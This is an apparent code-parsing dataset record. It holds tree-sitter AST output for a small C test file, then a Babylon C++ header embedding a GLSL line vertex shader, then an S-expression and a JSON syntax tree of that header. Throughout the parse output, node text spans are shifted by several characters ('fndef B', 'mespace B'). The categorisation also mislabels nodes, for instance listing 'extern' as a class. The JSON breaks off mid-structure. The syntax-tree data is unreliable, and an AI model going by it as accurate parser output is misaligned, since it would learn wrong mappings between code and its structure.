"type": "pointer_declarator", "text": "**argv", "parent": 15, "children": [18, 19], "start_point": {"row": 1, "column": 24}, "end_point": {"row": 1, "column": 30}}, {"id": 18, "type": "*", "text": "*", "parent": 17, "children": [], "start_point": {"row": 1, "column": 24}, "end_point": {"row": 1, "column": 25}}, {"id": 19, "type": "pointer_declarator", "text": "*argv", "parent": 17, "children": [20, 21], "start_point": {"row": 1, "column": 25}, "end_point": {"row": 1, "column": 30}}, {"id": 20, "type": "*", "text": "*", "parent": 19, "children": [], "start_point": {"row": 1, "column": 25}, "end_point": {"row": 1, "column": 26}}, {"id": 21, "type": "identifier", "text": "argv", "parent": 19, "children": [], "start_point": {"row": 1, "column": 26}, "end_point": {"row": 1, "column": 30}}, {"id": 22, "type": "call_expression", "text": "test_lib_fn()", "parent": 7, "children": [23, 24], "start_point": {"row": 2, "column": 2}, "end_point": {"row": 2, "column": 15}}, {"id": 23, "type": "identifier", "text": "test_lib_fn", "parent": 22, "children": [], "start_point": {"row": 2, "column": 2}, "end_point": {"row": 2, "column": 13}}, {"id": 24, "type": "argument_list", "text": "()", "parent": 22, "children": [], "start_point": {"row": 2, "column": 13}, "end_point": {"row": 2, "column": 15}}, {"id": 25, "type": "return_statement", "text": "return 0;", "parent": 7, "children": [26], "start_point": {"row": 3, "column": 2}, "end_point": {"row": 3, "column": 11}}, {"id": 26, "type": "number_literal", "text": "0", "parent": 25, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 10}}]}, "node_categories": {"declarations": {"functions": [4, 7, 9], "variables": [0, 12, 15], "classes": [1], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [22], "assignments": [], "loops": [], "conditionals": [5, 10, 14, 21, 23], "returns": [25], "exceptions": []}, "expressions": {"calls": [], "literals": [26], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 4, "universal_type": "function", "name": "unknown", "text_snippet": "test_lib_fn()"}, {"node_id": 7, "universal_type": "function", "name": "main", "text_snippet": "int main(int argc, char **argv) {\n test_lib_fn();\n return 0;\n}"}, {"node_id": 9, "universal_type": "function", "name": "unknown", "text_snippet": "main(int argc, char **argv)"}], "class_declarations": [{"node_id": 1, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}], "import_statements": []}, "original_source_code": "extern void test_lib_fn();\nint main(int argc, char **argv) {\n test_lib_fn();\n return 0;\n}\n"}
81,107
c
#ifndef BABYLON_SHADERS_LINE_VERTEX_FX_H #define BABYLON_SHADERS_LINE_VERTEX_FX_H namespace BABYLON { extern const char* lineVertexShader; const char* lineVertexShader = R"ShaderCode( // Attributes attribute vec3 position; attribute vec4 normal; // Uniforms uniform mat4 worldViewProjection; uniform float width; uniform float aspectRatio; void main(void) { vec4 viewPosition = worldViewProjection * vec4(position, 1.0); vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0); vec2 currentScreen = viewPosition.xy / viewPosition.w; vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w; currentScreen.x *= aspectRatio; nextScreen.x *= aspectRatio; vec2 dir = normalize(nextScreen - currentScreen); vec2 normalDir = vec2(-dir.y, dir.x); normalDir *= width / 2.0; normalDir.x /= aspectRatio; vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0); gl_Position = viewPosition + offset; } )ShaderCode"; } // end of namespace BABYLON #endif // end of BABYLON_SHADERS_LINE_VERTEX_FX_H
33.8
30
(translation_unit) "fndef BABYLON_SHADERS_LINE_VERTEX_FX_H\n#define BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nnamespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode";\n\n} // end of namespace BABYLON\n\n#endif // end of BABYLON_SHADERS_LINE_VERTEX_FX_H\n" (preproc_ifdef) "fndef BABYLON_SHADERS_LINE_VERTEX_FX_H\n#define BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nnamespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode";\n\n} // end of namespace BABYLON\n\n#endif /" (#ifndef) "fndef B" (identifier) "BYLON_SHADERS_LINE_VERTEX_FX_H\n#" (preproc_def) "efine BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nn" (#define) "efine B" (identifier) "BYLON_SHADERS_LINE_VERTEX_FX_H\n\n" (function_definition) "mespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode";\n\n} /" (type_identifier) "mespace B" (identifier) "BYLON {" (compound_statement) "\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode";\n\n} /" ({) "\n" (declaration) "tern const char* lineVertexShader;\n\n" (storage_class_specifier) "tern c" (extern) "tern c" (type_qualifier) "nst c" (const) "nst c" (primitive_type) "ar* " (pointer_declarator) "lineVertexShader;\n" (*) "l" (identifier) "neVertexShader;\n" (;) "\n" (declaration) "nst char* lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\na" (type_qualifier) "nst c" (const) "nst c" (primitive_type) "ar* " (init_declarator) "lineVertexShader\n = R"ShaderCode(\n\n// Attributes\nattribute vec3 position;\n" (pointer_declarator) "lineVertexShader\n " (*) "l" (identifier) "neVertexShader\n " (=) "R" (concatenated_string) "ShaderCode(\n\n// Attributes\nattribute vec3 position;\n" (identifier) "S" (string_literal) "haderCode(\n\n// Attributes\na" (") "h" (string_content) "aderCode(\n\n" (comment) " Attributes\na" (") "" (identifier) "tribute v" (identifier) "c3 p" (identifier) "sition;\n" (;) "a" (declaration) "tribute vec4 normal;\n\n" (type_identifier) "tribute v" (ERROR) "c4 n" (identifier) "c4 n" (identifier) "rmal;\n" (;) "\n" (comment) " Uniforms\nu" (declaration) "iform mat4 worldViewProjection;\n\n" (type_identifier) "iform m" (ERROR) "t4 w" (identifier) "t4 w" (identifier) "rldViewProjection;\n" (;) "\n" (declaration) "iform float width;\nu" (type_identifier) "iform f" (ERROR) "oat w" (identifier) "oat w" (identifier) "dth;\n" (;) "u" (declaration) "iform float aspectRatio;\n\n" (type_identifier) "iform f" (ERROR) "oat a" (identifier) "oat a" (identifier) "pectRatio;\n" (;) "\n" (function_definition) "id main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n" (primitive_type) "id m" (function_declarator) "in(void) {" (identifier) "in(v" (parameter_list) "oid) {" (() "o" (parameter_declaration) "id) " (primitive_type) "id) " ()) "{" (compound_statement) " vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n" ({) " " (declaration) "c4 viewPosition = worldViewProjection * vec4(position, 1.0);\n " (type_identifier) "c4 v" (init_declarator) "ewPosition = worldViewProjection * vec4(position, 1.0);\n" (identifier) "ewPosition =" (=) "w" (binary_expression) "rldViewProjection * vec4(position, 1.0);\n" (identifier) "rldViewProjection *" (*) "v" (call_expression) "c4(position, 1.0);\n" (identifier) "c4(p" (argument_list) "osition, 1.0);\n" (() "o" (identifier) "sition, " (,) "1" (number_literal) "0);" ()) "\n" (;) " " (declaration) "c4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n" (type_identifier) "c4 v" (init_declarator) "ewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n" (identifier) "ewPositionNext =" (=) "w" (binary_expression) "rldViewProjection * vec4(normal.xyz, 1.0);\n" (identifier) "rldViewProjection *" (*) "v" (call_expression) "c4(normal.xyz, 1.0);\n" (identifier) "c4(n" (argument_list) "ormal.xyz, 1.0);\n" (() "o" (field_expression) "rmal.xyz, " (identifier) "rmal.x" (.) "y" (field_identifier) "z, " (,) "1" (number_literal) "0);" ()) "\n" (;) "\n" (declaration) "c2 currentScreen = viewPosition.xy / viewPosition.w;\n " (type_identifier) "c2 c" (init_declarator) "rrentScreen = viewPosition.xy / viewPosition.w;\n" (identifier) "rrentScreen =" (=) "v" (binary_expression) "ewPosition.xy / viewPosition.w;\n" (field_expression) "ewPosition.xy /" (identifier) "ewPosition.x" (.) "y" (field_identifier) " /" (/) "v" (field_expression) "ewPosition.w;\n" (identifier) "ewPosition.w" (.) ";" (field_identifier) "\n" (;) " " (declaration) "c2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n" (type_identifier) "c2 n" (init_declarator) "xtScreen = viewPositionNext.xy / viewPositionNext.w;\n" (identifier) "xtScreen =" (=) "v" (binary_expression) "ewPositionNext.xy / viewPositionNext.w;\n" (field_expression) "ewPositionNext.xy /" (identifier) "ewPositionNext.x" (.) "y" (field_identifier) " /" (/) "v" (field_expression) "ewPositionNext.w;\n" (identifier) "ewPositionNext.w" (.) ";" (field_identifier) "\n" (;) "\n" (expression_statement) "rrentScreen.x *= aspectRatio;\n " (assignment_expression) "rrentScreen.x *= aspectRatio;\n" (field_expression) "rrentScreen.x *" (identifier) "rrentScreen.x" (.) " " (field_identifier) "*" (*=) " a" (identifier) "pectRatio;\n" (;) " " (expression_statement) "xtScreen.x *= aspectRatio;\n\n" (assignment_expression) "xtScreen.x *= aspectRatio;\n" (field_expression) "xtScreen.x *" (identifier) "xtScreen.x" (.) " " (field_identifier) "*" (*=) " a" (identifier) "pectRatio;\n" (;) "\n" (declaration) "c2 dir = normalize(nextScreen - currentScreen);\n " (type_identifier) "c2 d" (init_declarator) "r = normalize(nextScreen - currentScreen);\n" (identifier) "r =" (=) "n" (call_expression) "rmalize(nextScreen - currentScreen);\n" (identifier) "rmalize(n" (argument_list) "extScreen - currentScreen);\n" (() "e" (binary_expression) "xtScreen - currentScreen);" (identifier) "xtScreen -" (-) "c" (identifier) "rrentScreen);" ()) "\n" (;) " " (declaration) "c2 normalDir = vec2(-dir.y, dir.x);\n\n" (type_identifier) "c2 n" (init_declarator) "rmalDir = vec2(-dir.y, dir.x);\n" (identifier) "rmalDir =" (=) "v" (call_expression) "c2(-dir.y, dir.x);\n" (identifier) "c2(-" (argument_list) "dir.y, dir.x);\n" (() "d" (unary_expression) "ir.y, " (-) "i" (field_expression) "r.y, " (identifier) "r.y" (.) "," (field_identifier) " " (,) "d" (field_expression) "r.x);" (identifier) "r.x" (.) ")" (field_identifier) ";" ()) "\n" (;) "\n" (expression_statement) "rmalDir *= width / 2.0;\n " (assignment_expression) "rmalDir *= width / 2.0;\n" (identifier) "rmalDir *" (*=) " w" (binary_expression) "dth / 2.0;\n" (identifier) "dth /" (/) "2" (number_literal) "0;\n" (;) " " (expression_statement) "rmalDir.x /= aspectRatio;\n\n" (assignment_expression) "rmalDir.x /= aspectRatio;\n" (field_expression) "rmalDir.x /" (identifier) "rmalDir.x" (.) " " (field_identifier) "/" (/=) " a" (identifier) "pectRatio;\n" (;) "\n" (declaration) "c4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n " (type_identifier) "c4 o" (init_declarator) "fset = vec4(normalDir * normal.w, 0.0, 0.0);\n" (identifier) "fset =" (=) "v" (call_expression) "c4(normalDir * normal.w, 0.0, 0.0);\n" (identifier) "c4(n" (argument_list) "ormalDir * normal.w, 0.0, 0.0);\n" (() "o" (binary_expression) "rmalDir * normal.w, " (identifier) "rmalDir *" (*) "n" (field_expression) "rmal.w, " (identifier) "rmal.w" (.) "," (field_identifier) " " (,) "0" (number_literal) "0, " (,) "0" (number_literal) "0);" ()) "\n" (;) " " (expression_statement) "_Position = viewPosition + offset;\n}" (assignment_expression) "_Position = viewPosition + offset;\n" (identifier) "_Position =" (=) "v" (binary_expression) "ewPosition + offset;\n" (identifier) "ewPosition +" (+) "o" (identifier) "fset;\n" (;) "}" (}) "\n" (ERROR) "haderCode";\n\n" ()) "h" (identifier) "aderCode";" (") "\n" (string_content) "\n" (}) "/" (comment) " end of namespace BABYLON\n\n" (#endif) "ndif /" (comment) " end of BABYLON_SHADERS_LINE_VERTEX_FX_H\n"
261
5
{"language": "c", "success": true, "metadata": {"lines": 30, "avg_line_length": 33.8, "nodes": 190, "errors": 0, "source_hash": "371ad3993d3eec4f45041b232a64170210380dedeb068ab8d0813a777afd2382", "categorized_nodes": 138}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "fndef BABYLON_SHADERS_LINE_VERTEX_FX_H\n#define BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nnamespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R\"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode\";\n\n} // end of namespace BABYLON\n\n#endif /", "parent": null, "children": [1, 2, 3, 6, 189], "start_point": {"row": 0, "column": 3}, "end_point": {"row": 44, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "fndef B", "parent": 0, "children": [], "start_point": {"row": 0, "column": 3}, "end_point": {"row": 0, "column": 10}}, {"id": 2, "type": "identifier", "text": "BYLON_SHADERS_LINE_VERTEX_FX_H\n#", "parent": 0, "children": [], "start_point": {"row": 0, "column": 11}, "end_point": {"row": 0, "column": 43}}, {"id": 3, "type": "preproc_def", "text": "efine BABYLON_SHADERS_LINE_VERTEX_FX_H\n\nn", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "efine B", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "BYLON_SHADERS_LINE_VERTEX_FX_H\n\n", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 40}}, {"id": 6, "type": "function_definition", "text": "mespace BABYLON {\n\nextern const char* lineVertexShader;\n\nconst char* lineVertexShader\n = R\"ShaderCode(\n\n// Attributes\nattribute vec3 position;\nattribute vec4 normal;\n\n// Uniforms\nuniform mat4 worldViewProjection;\n\nuniform float width;\nuniform float aspectRatio;\n\nvoid main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n)ShaderCode\";\n\n} /", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 42, "column": 1}}, {"id": 7, "type": "type_identifier", "text": "mespace B", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 9}}, {"id": 8, "type": "identifier", "text": "BYLON {", "parent": 6, "children": [], "start_point": {"row": 3, "column": 10}, "end_point": {"row": 3, "column": 17}}, {"id": 9, "type": "declaration", "text": "tern const char* lineVertexShader;\n\n", "parent": 6, "children": [10, 12, 13, 14], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 36}}, {"id": 10, "type": "storage_class_specifier", "text": "tern c", "parent": 9, "children": [11], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 6}}, {"id": 11, "type": "extern", "text": "tern c", "parent": 10, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 6}}, {"id": 12, "type": "type_qualifier", "text": "nst c", "parent": 9, "children": [], "start_point": {"row": 5, "column": 7}, "end_point": {"row": 5, "column": 12}}, {"id": 13, "type": "primitive_type", "text": "ar* ", "parent": 9, "children": [], "start_point": {"row": 5, "column": 13}, "end_point": {"row": 5, "column": 17}}, {"id": 14, "type": "pointer_declarator", "text": "lineVertexShader;\n", "parent": 9, "children": [15, 16], "start_point": {"row": 5, "column": 17}, "end_point": {"row": 5, "column": 35}}, {"id": 15, "type": "*", "text": "l", "parent": 14, "children": [], "start_point": {"row": 5, "column": 17}, "end_point": {"row": 5, "column": 18}}, {"id": 16, "type": "identifier", "text": "neVertexShader;\n", "parent": 14, "children": [], "start_point": {"row": 5, "column": 19}, "end_point": {"row": 5, "column": 35}}, {"id": 17, "type": "declaration", "text": "nst char* lineVertexShader\n = R\"ShaderCode(\n\n// Attributes\nattribute vec3 position;\na", "parent": 6, "children": [18, 19, 20], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 11, "column": 24}}, {"id": 18, "type": "type_qualifier", "text": "nst c", "parent": 17, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 5}}, {"id": 19, "type": "primitive_type", "text": "ar* ", "parent": 17, "children": [], "start_point": {"row": 7, "column": 6}, "end_point": {"row": 7, "column": 10}}, {"id": 20, "type": "init_declarator", "text": "lineVertexShader\n = R\"ShaderCode(\n\n// Attributes\nattribute vec3 position;\n", "parent": 17, "children": [21, 24, 25], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 11, "column": 23}}, {"id": 21, "type": "pointer_declarator", "text": "lineVertexShader\n ", "parent": 20, "children": [22, 23], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 7, "column": 28}}, {"id": 22, "type": "*", "text": "l", "parent": 21, "children": [], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 7, "column": 11}}, {"id": 23, "type": "identifier", "text": "neVertexShader\n ", "parent": 21, "children": [], "start_point": {"row": 7, "column": 12}, "end_point": {"row": 7, "column": 28}}, {"id": 24, "type": "=", "text": "R", "parent": 20, "children": [], "start_point": {"row": 8, "column": 2}, "end_point": {"row": 8, "column": 3}}, {"id": 25, "type": "concatenated_string", "text": "ShaderCode(\n\n// Attributes\nattribute vec3 position;\n", "parent": 20, "children": [26, 27, 28, 29, 30], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 11, "column": 23}}, {"id": 26, "type": "identifier", "text": "S", "parent": 25, "children": [], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 5}}, {"id": 27, "type": "string_literal", "text": "haderCode(\n\n// Attributes\na", "parent": 25, "children": [], "start_point": {"row": 8, "column": 5}, "end_point": {"row": 10, "column": 13}}, {"id": 28, "type": "identifier", "text": "tribute v", "parent": 25, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 9}}, {"id": 29, "type": "identifier", "text": "c3 p", "parent": 25, "children": [], "start_point": {"row": 11, "column": 10}, "end_point": {"row": 11, "column": 14}}, {"id": 30, "type": "identifier", "text": "sition;\n", "parent": 25, "children": [], "start_point": {"row": 11, "column": 15}, "end_point": {"row": 11, "column": 23}}, {"id": 31, "type": "declaration", "text": "tribute vec4 normal;\n\n", "parent": 6, "children": [32, 33, 35], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 22}}, {"id": 32, "type": "type_identifier", "text": "tribute v", "parent": 31, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 9}}, {"id": 33, "type": "ERROR", "text": "c4 n", "parent": 31, "children": [34], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 14}}, {"id": 34, "type": "identifier", "text": "c4 n", "parent": 33, "children": [], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 14}}, {"id": 35, "type": "identifier", "text": "rmal;\n", "parent": 31, "children": [], "start_point": {"row": 12, "column": 15}, "end_point": {"row": 12, "column": 21}}, {"id": 36, "type": "declaration", "text": "iform mat4 worldViewProjection;\n\n", "parent": 6, "children": [37, 38, 40], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 33}}, {"id": 37, "type": "type_identifier", "text": "iform m", "parent": 36, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 7}}, {"id": 38, "type": "ERROR", "text": "t4 w", "parent": 36, "children": [39], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 12}}, {"id": 39, "type": "identifier", "text": "t4 w", "parent": 38, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 12}}, {"id": 40, "type": "identifier", "text": "rldViewProjection;\n", "parent": 36, "children": [], "start_point": {"row": 15, "column": 13}, "end_point": {"row": 15, "column": 32}}, {"id": 41, "type": "declaration", "text": "iform float width;\nu", "parent": 6, "children": [42, 43, 45], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 20}}, {"id": 42, "type": "type_identifier", "text": "iform f", "parent": 41, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 43, "type": "ERROR", "text": "oat w", "parent": 41, "children": [44], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 13}}, {"id": 44, "type": "identifier", "text": "oat w", "parent": 43, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 13}}, {"id": 45, "type": "identifier", "text": "dth;\n", "parent": 41, "children": [], "start_point": {"row": 17, "column": 14}, "end_point": {"row": 17, "column": 19}}, {"id": 46, "type": "declaration", "text": "iform float aspectRatio;\n\n", "parent": 6, "children": [47, 48, 50], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 26}}, {"id": 47, "type": "type_identifier", "text": "iform f", "parent": 46, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 7}}, {"id": 48, "type": "ERROR", "text": "oat a", "parent": 46, "children": [49], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 13}}, {"id": 49, "type": "identifier", "text": "oat a", "parent": 48, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 13}}, {"id": 50, "type": "identifier", "text": "pectRatio;\n", "parent": 46, "children": [], "start_point": {"row": 18, "column": 14}, "end_point": {"row": 18, "column": 25}}, {"id": 51, "type": "function_definition", "text": "id main(void) {\n vec4 viewPosition = worldViewProjection * vec4(position, 1.0);\n vec4 viewPositionNext = worldViewProjection * vec4(normal.xyz, 1.0);\n\n vec2 currentScreen = viewPosition.xy / viewPosition.w;\n vec2 nextScreen = viewPositionNext.xy / viewPositionNext.w;\n\n currentScreen.x *= aspectRatio;\n nextScreen.x *= aspectRatio;\n\n vec2 dir = normalize(nextScreen - currentScreen);\n vec2 normalDir = vec2(-dir.y, dir.x);\n\n normalDir *= width / 2.0;\n normalDir.x /= aspectRatio;\n\n vec4 offset = vec4(normalDir * normal.w, 0.0, 0.0);\n gl_Position = viewPosition + offset;\n}\n\n", "parent": 6, "children": [52, 53], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 38, "column": 1}}, {"id": 52, "type": "primitive_type", "text": "id m", "parent": 51, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 4}}, {"id": 53, "type": "function_declarator", "text": "in(void) {", "parent": 51, "children": [54, 55], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 15}}, {"id": 54, "type": "identifier", "text": "in(v", "parent": 53, "children": [], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 9}}, {"id": 55, "type": "parameter_list", "text": "oid) {", "parent": 53, "children": [56], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 15}}, {"id": 56, "type": "parameter_declaration", "text": "id) ", "parent": 55, "children": [57], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 14}}, {"id": 57, "type": "primitive_type", "text": "id) ", "parent": 56, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 14}}, {"id": 58, "type": "declaration", "text": "c4 viewPosition = worldViewProjection * vec4(position, 1.0);\n ", "parent": 51, "children": [59, 60], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 66}}, {"id": 59, "type": "type_identifier", "text": "c4 v", "parent": 58, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 8}}, {"id": 60, "type": "init_declarator", "text": "ewPosition = worldViewProjection * vec4(position, 1.0);\n", "parent": 58, "children": [61, 62, 63], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 65}}, {"id": 61, "type": "identifier", "text": "ewPosition =", "parent": 60, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 21}}, {"id": 62, "type": "=", "text": "w", "parent": 60, "children": [], "start_point": {"row": 21, "column": 22}, "end_point": {"row": 21, "column": 23}}, {"id": 63, "type": "binary_expression", "text": "rldViewProjection * vec4(position, 1.0);\n", "parent": 60, "children": [64, 65, 66], "start_point": {"row": 21, "column": 24}, "end_point": {"row": 21, "column": 65}}, 